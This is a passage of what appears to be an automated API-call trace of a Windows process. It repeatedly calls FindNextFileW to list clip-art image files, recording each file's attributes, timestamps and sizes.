dwReserved1=0x0, cFileName="J0239975.WMF", cAlternateFileName="")) returned 1 [0274.413] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed05f07, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xed05f07, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf2fbd2e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239997.WMF", cAlternateFileName="")) returned 1 [0274.413] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecdfcbb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecdfcbb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xed05f07, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240157.WMF", cAlternateFileName="")) returned 1 [0274.413] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecdfcbb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecdfcbb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xed05f07, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa410, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240175.WMF", cAlternateFileName="")) returned 1 [0274.414] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecdfcbb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecdfcbb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xed05f07, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240189.WMF", cAlternateFileName="")) returned 1 [0274.414] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecdfcbb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecdfcbb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecdfcbb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1476, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240291.WMF", cAlternateFileName="")) returned 1 [0274.414] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecdfcbb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecdfcbb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xed05f07, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x92e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241019.WMF", cAlternateFileName="")) returned 1 [0274.414] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecdfcbb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecdfcbb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecdfcbb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241037.WMF", cAlternateFileName="")) returned 1 [0274.414] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecdfcbb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecdfcbb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecdfcbb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241041.WMF", cAlternateFileName="")) returned 1 [0274.414] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xecdfcbb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xecdfcbb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xecdfcbb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xab2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241043.WMF", cAlternateFileName="")) returned 1 [0274.434] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf34834b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf34834b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf36e46d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x82a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241077.WMF", cAlternateFileName="")) returned 1 [0274.434] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf34834b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf34834b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf36e46d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241773.WMF", cAlternateFileName="")) returned 1 [0274.434] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf34834b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf34834b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf36e46d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241781.WMF", cAlternateFileName="")) returned 1 [0274.434] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf34834b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf34834b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf36e46d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7938, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0250504.WMF", cAlternateFileName="")) returned 1 [0274.435] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2fbd2e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf2fbd2e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf34834b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6958, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0250997.WMF", cAlternateFileName="")) returned 1 [0274.435] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed05f07, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xed05f07, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf34834b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1100c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251007.WMF", cAlternateFileName="")) returned 1 [0274.435] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf34834b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf34834b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf34834b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xae2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0252629.WMF", cAlternateFileName="")) returned 1 [0274.435] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2fbd2e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf2fbd2e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf34834b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf56, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0252669.WMF", cAlternateFileName="")) returned 1 [0274.435] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed05f07, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xed05f07, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf34834b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0278702.WMF", cAlternateFileName="")) returned 1 [0274.435] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed05f07, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xed05f07, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf2fbd2e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0279644.WMF", cAlternateFileName="")) returned 1 [0274.435] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf36e46d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf36e46d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf36e46d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0280468.WMF", cAlternateFileName="")) returned 1 [0274.435] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf36e46d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf36e46d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf36e46d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x94c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281008.WMF", cAlternateFileName="")) returned 1 [0274.436] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf36e46d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf36e46d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf36e46d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb5b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281243.WMF", cAlternateFileName="")) returned 1 [0274.436] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf36e46d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf36e46d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf36e46d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281630.WMF", cAlternateFileName="")) returned 1 [0274.436] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf36e46d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf36e46d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf36e46d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3854, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281632.WMF", cAlternateFileName="")) returned 1 [0274.436] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf34834b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf34834b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf36e46d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281638.WMF", cAlternateFileName="")) returned 1 [0274.436] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf36e46d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf36e46d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf36e46d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281640.WMF", cAlternateFileName="")) returned 1 [0274.436] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf36e46d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf36e46d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf36e46d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3c9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0282126.WMF", cAlternateFileName="")) returned 1 [0274.436] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf36e46d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf36e46d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf36e46d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8166, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0282928.WMF", cAlternateFileName="")) returned 1 [0274.436] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf34834b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf34834b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf36e46d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3700, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0282932.WMF", cAlternateFileName="")) returned 1 [0274.436] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3946e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf3946e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf3946e4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x388a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285462.WMF", cAlternateFileName="")) returned 1 [0274.436] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3946e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf3946e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf3946e4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2440, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285484.WMF", cAlternateFileName="")) returned 1 [0274.437] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3946e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf3946e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf3946e4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x795c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285780.WMF", cAlternateFileName="")) returned 1 [0274.437] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf36e46d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf36e46d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf3946e4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x523e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285782.WMF", cAlternateFileName="")) returned 1 [0274.437] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf36e46d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf36e46d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf3946e4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2eb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285792.WMF", cAlternateFileName="")) returned 1 [0274.437] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf36e46d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf36e46d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf36e46d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3550, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285796.WMF", cAlternateFileName="")) returned 1 [0274.437] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf36e46d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf36e46d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf3946e4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x23f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285808.WMF", cAlternateFileName="")) returned 1 [0274.437] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf36e46d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf36e46d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf3946e4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2210, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285820.WMF", cAlternateFileName="")) returned 1 [0274.437] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf36e46d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf36e46d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf3946e4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285822.WMF", cAlternateFileName="")) returned 1 [0274.437] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf36e46d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf36e46d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf36e46d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7898, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287018.WMF", cAlternateFileName="")) returned 1 [0274.439] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3ba90e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf3ba90e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf3ba90e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x931a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287019.WMF", cAlternateFileName="")) returned 1 [0274.439] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3ba90e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf3ba90e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf3ba90e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x80d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287020.WMF", cAlternateFileName="")) returned 1 [0274.439] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3946e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf3946e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf3ba90e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc6d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287024.WMF", cAlternateFileName="")) returned 1 [0274.439] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3946e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf3946e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf3ba90e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287408.WMF", cAlternateFileName="")) returned 1 [0274.439] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3946e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf3946e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf3ba90e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa80c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287415.WMF", cAlternateFileName="")) returned 1 [0274.439] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3946e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf3946e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf3946e4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd6bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287417.WMF", cAlternateFileName="")) returned 1 [0274.439] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3946e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf3946e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf3ba90e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x89a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287641.JPG", cAlternateFileName="")) returned 1 [0274.439] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3946e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf3946e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf3946e4, ftLastWriteTime.dwHighDateTime=0x1d327e8, 